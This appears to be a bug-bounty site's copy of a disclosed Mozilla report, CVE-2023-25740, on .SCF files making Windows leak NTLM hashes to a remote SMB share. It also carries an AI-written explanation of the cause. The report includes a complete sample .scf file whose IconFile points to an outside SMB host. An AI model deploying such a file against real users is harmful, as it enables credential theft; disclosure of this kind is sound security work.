Skip to content
Info disclosure Disclosed report Intermediate CVE-2023-25740

.SCF file can also send NTLM hashes

A .SCF file can be used to make Windows automatically connect to a remote SMB share and send NTLM hashes via the IconFile parameter. An attacker could use this to capture authentication hashes when a user opens the file.

haxatron1 Follow

Originally disclosed on Mozilla

  • Fixed in 6 days
  • Paid in 13 days
  • Disclosed after 6 days
Text
Created attachment 9314041
Untitled_ Jan 26, 2023 12_01 AM.webm

+++ This bug was initially created as a clone of Bug #1812338 +++

On Windows, .SCF file can also send NTLM hashes via the IconFile parameter. Thus it is possible to reproduce https://bugzilla.mozilla.org/show_bug.cgi?id=1773894 using .SCF file

Sample .scf file which can automatically connect via SMB from file folder or send hashes
'''''''''''''''
[Shell]
Command=2
IconFile=//192.168.1.109/share/pentestlab.ico
[Taskbar]
Command=ToggleDesktop
'''''''''''''''
Ref: https://bugs.chromium.org/p/chromium/issues/detail?id=722524

The original report as published on Mozilla's Bugzilla, by haxatron1. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely, Windows automatically authenticates to remote SMB shares when loading an icon path from a .SCF file, leaking NTLM hashes.

What the attacker needed

Victim opens a .SCF file; Windows system; attacker controls an SMB server

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A .SCF file is a small text file that tells Windows how to display a folder icon. Windows can be tricked into fetching that icon from a remote network share, and during that connection it automatically sends a secret login token (an NTLM hash) that an attacker can capture and crack.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More by haxatron1

View all

30 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.